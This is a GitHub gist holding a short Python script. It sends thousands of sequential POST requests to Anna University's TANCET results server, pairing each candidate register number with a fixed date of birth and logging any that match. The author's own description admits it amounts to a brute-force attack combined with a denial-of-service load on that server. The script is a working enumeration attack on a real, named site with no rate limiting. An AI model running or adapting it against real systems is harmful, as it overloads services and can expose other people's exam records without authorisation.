Skip to content

Instantly share code, notes, and snippets.

@joelewis
Created May 23, 2013 18:39
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save joelewis/5638389 to your computer and use it in GitHub Desktop.
Save joelewis/5638389 to your computer and use it in GitHub Desktop.
A python script to launch a series of requests to tancet result servers, to fetch me my register number which I lost. It's gonna try all possible combinations of numbers matching my DOB, and writes to matches.txt if a match is found. Warning: This might be a form of brute force attack, combined with DOS attack, except that annauniv.edu is not de…
import urllib
import urllib2
import bs4
startreg = 11161667
endreg = 11170000
for i in range(startreg, endreg):
istr = str(i)
soup = bs4.BeautifulSoup(urllib2.urlopen(urllib2.Request('http://www.annauniv.edu/cgi-bin/786786786/cet1.pl',urllib.urlencode ({'regno' : i, 'dob' : '14-09-1991' }))).read())
if(soup.find('span') != None):
print 'found it ' + istr
doc = open('matches.txt','a')
doc.write("\n"+ istr)
doc.close()
else: print 'not ' + istr
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment